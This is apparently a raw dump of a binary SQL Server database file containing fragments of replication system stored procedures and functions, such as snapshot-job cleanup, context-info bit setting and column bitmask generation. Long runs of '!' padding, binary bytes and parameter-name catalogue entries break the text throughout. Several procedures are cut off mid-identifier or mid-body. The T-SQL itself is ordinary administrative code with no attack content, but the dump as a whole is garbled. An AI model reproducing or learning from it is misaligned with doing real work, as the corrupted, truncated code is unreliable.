               @dynamic_filter_hostname = dynamic_filter_hostname,
               @partition_id = @partition_id,
               @agent_id = agent_id 
          from dbo.MSdynamicsnapshotjobs
         where pubid = @pubid
           and job_id = @dynamic_snapshot_jobid 
    end

    if @dynamic_snapshot_location is null
    begin
        if @dynamic_snapshot_jobid is null
        begin
            raiserror(21326, 16, -1, N'@dynamic_snapshot_jobname', @dynamic_snapshot_jobname)
        end
        else
        begin
            select @guidstr = coalesce(convert(nvarchar(40), @dynamic_snapshot_jobid) collate database_default, '(NULL)' collate database_default)
            raiserror(21326, 16, -1, N'@dynamic_snapshot_jobid', @guidstr)
        end
        return (1)
    end

    -- Get distributor info for RPC
    if @ignore_distributor = 0
    begin
        exec @retcode = sys.sp_helpdistributor @distributor = @distributor output,
                                               @distribdb = @distribdb output,
                                               @rpcsrvname = @rpcsrvname output

        select @rpcsrvname = rtrim(@rpcsrvname)


        select @distproc = QUOTENAME(RTRIM(@rpcsrvname)) + N'.' + QUOTENAME(@distribdb) + N'.dbo.sp_MScleanupdynamicsnapshotfolder'
        exec @retcode = @distproc
               @publisher = @publisher,
               @publisher_db = @publisher_db,
               @publication = @publication,
               @dynamic_filter_login = @dynamic_filter_login,
               @dynamic_filter_hostname = @dynamic_filter_hostname,
               @dynamic_snapshot_location = @dynamic_snapshot_location,
               @partition_id = @partition_id        

        if @backward_comp_level < 90 and isnull(is_srvrolemember('sysadmin'),0) = 1
        begin
            select @distproc = QUOTENAME(RTRIM(@rpcsrvname)) + N'.' + QUOTENAME(@distribdb) + N'.' + N'dbo.sp_MSdeletefoldercontents'
            -- Try to delete the files 
            select @dir = @dynamic_snapshot_location
            exec @retcode = @distproc @dir
            -- Ignore errors
        end 
    end  
    select @retcode = 0

    begin transaction 
    save transaction sp_MSdropmergedynamicsnapshotjob

    -- Delete row from MSdynamicsnapshotjobs
    delete dbo.MSdynamicsnapshotjobs 
     where pubid = @pubid
       and job_id = @dy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`!-m	)!HF+v0-כY@=@cmd0-כY88
C@indent0-a`G@loginame0-a`K@name_in_db0-a`E@grpname0-Be_event_session_address0-Be4Ievent_name0-Be$$Yevent_package_guid0-Be4Sevent_predicate0-pM@publication0-p88
K@request_id0-fv44O@publisher_id0-fvI@publisher0-fvO@publisher_db0-fvM@publication0-fvK@subscriber0-fvQ@subscriber_db0-fv00Y@subscription_type0-fv00I@sync_type0-fv	00C@status0-fv
M@description0-fv$$A@subid0-fv88
[@subscriber_version0-z[@original_publisher0-z_@redirected_publisher0-zI@pubdbname0-ze@publisher_linked_server!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!DAXs";X_r'`-'6)>VIGL0-3Q@subscriber_db0-
88
K@request_id0-
I@peer_node0-
E@peer_db0-
88
O@peer_version0-
[@peer_subscriptions0-&88
K@agent_type0-&88
G@agent_id0-&88
K@profile_id0-'88
Arun_id0-'=name0-'==Ksubmit_time0-'==Istart_time0-'==Eend_time0-'88
Ytotal_elapsed_time0-'  Qoperation_type0-'  =mode0-'	Odatabase_name0-'
Itable_name0-'88
Mprincipal_id0-'@@Isession_id0-'
@@Irequest_id0-'  Astatus0-'88
Eprogress0-'@@Ccommand0-'Qrows_processed0-'Orows_rejected0-'Orows_inserted0-288
A@artid0-200Q@publishertype0-2I@publisher0-<88
Kpdw_node_id0-<88
Mcomponent_id0-<_component_instance_id0-<88
Ealert_id0-<HHWalert_instance_id0-<Ocurrent_value0-<Qprevious_value0-<==Kcreate_time0-<M@publication0-<I@publisher0-<S@publisher_type0-oEOTABLE_CATALOG0-oEMTABLE_SCHEMA0-oEITABLE_NAME0-oE@@SVIEW_DEFINITION0-oEMCHECK_OPTION0-oEMIS_UPDATABLE0-xLI@publisher0-xLO@publisher_db0-xLM@publication0-xL00C@action0-S$$A@pubid0-S88
[@conflict_retention!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!w*E

\

m$;

P
		Y		~/L}4Oh#R4E`?-1)g7JM0-w1M@publication0-w100W@failover_mode_id0-w1Q@failover_mode0-7YCONSTRAINT_CATALOG0-7WCONSTRAINT_SCHEMA0-7SCONSTRAINT_NAME0-7OTABLE_CATALOG0-7MTABLE_SCHEMA0-7ITABLE_NAME0-7KCOLUMN_NAME0-788
UORDINAL_POSITION0-#888
K@request_id0-#8K@originator0-#8Q@originator_db0-#8c@originator_publication0-?M@publication0-?hh[@ignore_distributor0-?I@publisher0-?hhM@from_backup0-fCE@objname0--Ix4xGwait_type0--I[waiting_tasks_count0--IMwait_time_ms0--IUmax_wait_time_ms0--I[signal_wait_time_ms0-2L[@original_publisher0-2LO@publisher_db0-2Lhhm@bypass_publisher_validation0-S4MCATALOG_NAME0-S@4@KDESCRIPTION0-SC@server0-SE@catalog0-U@o@qualified_source_object_name0-U@k@qualified_sync_object_name0-UhhW@primary_key_only0-Uhhi@is_vertically_partitioned0-Z,W@xact_seqno_start0-Z,S@xact_seqno_end0-Z88
Q@originator_id0-Z88
a@publisher_database_id0-Z88
K@article_id0-Z88
K@command_id0-Z88
G@agent_id0-Z88
]@compatibility_level0-\I@publisher0-\O@publisher_db0-\M@publication0-\hhY@allow_queued_tran0-!F88
I@tablenick!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HS
v

qZ

;
		`	ILet's(=XU`(-V
()K+,0-eL$$A@pubid0-$NI@publisher0-\VG@job_name0-\VC@job_id0-\V$$O@job_step_uid0-leK@subscriber0-le88
C@is_jet0-le]@Jet_datasource_path0-W@capture_instance0-Q@source_schema0-M@source_name0-88
W@source_object_id0-eMhost_address0-ex4x=type0-ex4x=name0-e88
]enqueued_tasks_count0-e88
Yactive_tasks_count0-e88
[completed_ios_count0-eacompleted_ios_in_bytes0-e88
Uactive_ios_count0-e	mdefault_memory_clerk_address0-e
88
Kpdw_node_id0-PI@publisher0-PO@publisher_db0-PM@publication0-PE@article0-Z88
Y@num_contents_rows0-mQ@function_name0-}$$A@pubid0-}44_@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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A`.-24)M]Ol^0-w88
m@frequency_recurrence_factor0-w88
W@frequency_subday0-w88
i@frequency_subday_interval0-w88
g@active_start_time_of_day0-w88
c@active_end_time_of_day0-w88
Y@active_start_date0-w88
U@active_end_date0-w@a@optional_command_line0-w00M@update_mode0-whh[@loopback_detection0-w[@distribution_jobid0-whhO@offloadagent0-wQ@offloadserver0-wW@dts_package_name0-w_@dts_package_password0-w88
_@dts_package_location0-w a@distribution_job_name0-w!G@internal0-w"88
g@publisher_engine_edition0-w#00M@nosync_type0-,O@table_server0-,K@table_name0-,O@table_schema0-,Q@table_catalog0-,M@column_name0-,M@policy_name0-,K@event_data0-,K@history_id0-|xx?event0-|@@=data0-|88
Kpdw_node_id0-C@object0-hhM@grantpublic0-A@owner0-_event_session_address0-4Kaction_name0-$$[action_package_guid0-4Ievent_name0-$$Yevent_package_guid0-88
E@timeout0-@G@lockmode0-88
Q@lock_acquired0-}488
K@agent_type0-E+6I@publisher0-E+6O@publisher_db0-E+6M@publication0-E+688
I@tracer_id0-y988
Kdatabase_id0-I@publisher0-O@publisher_db0-M@publication0-7$$A@pubid!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!y0K
h
#
&|\
;

`
#
		N		cz-`	ifW$`0-O,)@hNOHc0-3I@publisher0-3O@publisher_db0-3M@publication0-388
M@snap_status0-3==I@snap_time0-3Q@snap_comments0-388
Q@snap_duration0-388
K@log_status0-3	==G@log_time0-3
O@log_comments0-388
O@log_duration0-lI@job_login0-lO@job_password0-l44e@publisher_security_mode0-lU@publisher_login0-l[@publisher_password0-lI@publisher0-88
Cpool_id0-x4xYmemory_broker_type0-Qallocations_kb0-aallocations_kb_per_sec0-epredicted_allocations_kb0-_target_allocations_kb0-_future_allocations_kb0-Uoverall_limit_kb0-	x4xWlast_notification0-fI@publisher0-fO@publisher_db0-fM@publication0-f_@dynamic_filter_login0-fe@dynamic_filter_hostname0-f$$c@dynamic_snapshot_jobid0-NI@publisher0-NO@publisher_db0-NM@publication0-NK@subscriber0-N$$C@job_id0-zFW@procedure_schema0-zFS@parameter_name0-OI@publisher0-OO@publisher_db0-OM@publication0-OhhY@exclude_anonymous0-)|!$$A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

2
?'d
i

	X			iV?ZE^},E`_-)OI"gr(60-+88
g@subscriber_security_mode0-+W@subscriber_login0-+]@subscriber_password0-+88
i@distributor_security_mode0-+Y@distributor_login0-+_@distributor_password0-+I@job_login0-+O@job_password0-U@assembly_schema0-88
M@assembly_id0-?ZM@publication0-?Z@C@action0-?Z88
Q@originator_id0-?Z88
[@conflict_retention0-?Z
]@continue_onconflict0-?Z
A@local0-?Z88
E@timeout!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!of#4={`7<	UPN0fu0@ L8create procedure sys.sp_MSsetcontext_internalcaller @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_second_byte binary(1)
    declare @bitmask tinyint

    -- First Byte
    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    -- bypasswholeddleventbit=64, bypassreplicateddleventbit=128
    -- Second Byte
    -- bit to set: internalcaller = 1

    if @onoff=1
        set @bitmask=1
    else
        set @bitmask=255-1
    
    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the second byte out. 
    select @cur_context_second_byte = substring(@cur_context, 2, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_second_byte = (convert(tinyint,@cur_context_second_byte) | @bitmask)
    else
        select @cur_context_second_byte = (convert(tinyint,@cur_context_second_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (convert(binary(128), @cur_context), 2, 1, @cur_context_second_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context
    
    if @@error <> 0
        return 1
        
    return 0
end
082@ 	8
--
-- Name:    
--          fn_IHarticle_columns
--          
-- Description: 
--          Use table id, article id, and publisher id to generate a binary (128)
--			mask that identifies the column ordinals of the published table that
--			are included in the article
--  
-- Security: 
--          Internal
--
-- Returns:
--          Bit mask
--      
-- Owner:   
--          <current owner> 

create function sys.fn_IHarticle_columns
(
	@articleid		int,
	@tableid		int,
	@publisherid	int
)
returns binary(128)
as
begin
	declare @bit tinyint
	declare @word tinyint
	declare @cnt int
	declare @columns binary(128)
	declare @mask binary(2)
	declare @mval int
	declare @newword binary(2)
	declare @oldword binary(2)
	declare @columnid int

	SELECT @columns = 0

	declare hCartcolumn CURSOR LOCAL FAST_FORWARD FOR
	SELECT	p.column_ordinal
	FROM	IHcolumns c,
			IHpublishercolumns p
	WHERE	p.publishercolumn_id	= c.publishercolumn_id
	  AND	p.publisher_id			= @publisherid
	  AND	p.table_id				= @tableid
	  AND	c.article_id			= @articleid
	ORDER BY p.column_ordinal

	OPEN hCartcolumn
	FETCH hCartcolumn into @columnid

	WHILE (@@fetch_status <> -1)
	BEGIN
		-- Obtain the byte offset and the bit offset, then set the
		-- mask column for the bit we want to turn on.
		SELECT @word = CONVERT(tinyint, 64 - FLOOR((@columnid-1)/16))
		SELECT @bit = (@columnid-1) % 16
		SELECT @mval = POWER(2, @bit)
		select @mask = convert(binary(2), substring(convert(nchar(2), convert(binary(4), @mval)), 2, 1))

		-- Get the byte we're interested in and save it in a
		-- a temporary local variable.  If it's NULL, set it
		-- to 0.  Then apply the bitwise operator OR to set the
		-- bit in the old byte and save it in another temporary
		-- local variable @newword.
		SELECT @oldword = CONVERT( binary(2), SUBSTRING( CONVERT( nvarchar(64),@columns), @word, 1) )

		IF @oldword IS NULL
			SELECT @oldword = 0x0000

		SELECT @newword = CONVERT(binary(2), convert(smallint, @oldword) | @mask)
		SELECT @columns = CONVERT(binary(128), STUFF(convert(nchar(64),@columns), @word, 1, convert(nchar(1), @newword)))
	
		-- Fetch the next column
		FETCH hCartcolumn INTO @columnid
	
	END --  end of while block

	return @columns
end
03 8CREATE PROCEDURE sys.sp_MSenable_publication_for_het_sub 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @sync_method int
)
as
BEGIN
    set nocount on
    
 	declare @publisher_id smallint,
 			@OPT_ENABLED_FOR_HET_SUB tinyint,
 			@retcode int
 			
 	set @OPT_ENABLED_FOR_HET_SUB = 0x4		

    -- security check
    -- only db_owner can execute this
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    -- security check
    -- Has to be executed from distribution database
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSenable_publication_for_het_sub', 'distribution')
        return (1)
    end
    
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    begin tran
    
    UPDATE dbo.MSpublications
    SET
			options = @OPT_ENABLED_FOR_HET_SUB,
			-- Unsupported options are explicitly set to 0 or null, as appropriate
			allow_pull = 0,
			allow_queued_tran = 0,
			allow_subscription_copy = 0,
			sync_method = @sync_method
    WHERE   publisher_id = @publisher_id AND
            publisher_db = @publisher_db AND
            publication = @publication
            
    IF @@ERROR <> 0 
            goto UNDO

    COMMIT TRAN

    RETURN(0)

UNDO:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE
        COMMIT TRAN   
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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: shared  1: exclusive
) 
AS
begin
    SET         NOCOUNT ON
    DECLARE     @active tinyint
    declare     @count  int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    select @active = 2
    if @mode = 0
        select @count = count(*) from dbo.MSsubscriptions with (ROWLOCK REPEATABLEREAD) where agent_id = @id and status = @active
    else
        select @count = count(*) from dbo.MSsubscriptions with (ROWLOCK UPDLOCK) where agent_id = @id and status = @active
end
0H=/@ \8CREATE PROCEDURE sys.sp_MSdrop_subserver
(
	@subscriber sysname
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode 			int

	/*
	** Clear the server option to indicate this is a subscriber.
	*/
	EXECUTE @retcode = sys.sp_serveroption @subscriber, 'sub', false

	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		-- Unable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END
	
	/*
	** Clear the server option indicating this is a DSN subscriber.
	*/
	EXECUTE @retcode = sys.sp_serveroption @server = @subscriber, 
											@optname = 'nonsqlsub',
											@optvalue =  'off'
	IF @@error <> 0 or @retcode <> 0
	BEGIN
		-- Unable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END		

END
00 8create function sys.fn_MSmerge_hasdownloadonlyarticles (@pubid uniqueidentifier)
returns bit
as
begin
    -- If there are no download-only articles, contents_forglobal is unneeded,
    -- everything will be in contents_forall.

    if exists(select * from dbo.sysmergearticles
                where pubid=@pubid and (upload_options = 1 or upload_options = 2))
    begin
        return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`Q<FRF)L|0W' X8
create procedure sys.sp_MSmakeexpandproc
    @pubname        sysname,
    @filterid        int,
    @procname        sysname
    AS
    /* Declare additional variables */
    declare @pubid    uniqueidentifier
    declare @base_nick int
    declare @join_nick int
    declare @base_nickstr nvarchar(10)
    declare @join_nickstr nvarchar(10)
    declare @filterid_str nvarchar(10)
    declare @base_objid int
    declare @join_objid int
    declare @base_table nvarchar(270)
    declare @before_viewname    nvarchar(270)
    declare @join_table nvarchar(270)
    declare @base_owner nvarchar(270)
    declare @join_owner nvarchar(270)
    declare @join_clause nvarchar(4000)
    declare @retcode    int
    declare @must_check int
    declare @view_type    int
    declare @guidcolname    nvarchar(270)
    declare @joinguidname    nvarchar(270)
    declare @view_objid int
    declare @view_name    nvarchar(270)
    declare @cmd_piece    nvarchar(4000)
    select @retcode = 0
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        select 'a' = 'raiserror (''Error creating row change expansion procedure'' , 16, -1)'
        return 1
    end

    select @pubid = pubid from dbo.sysmergepublications where name = @pubname and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    -- this procedure is to be called by xp_execresultset, so
    -- we create a temp table, put command pieces into it, and select them out

    -- create temp table to select the command text out of
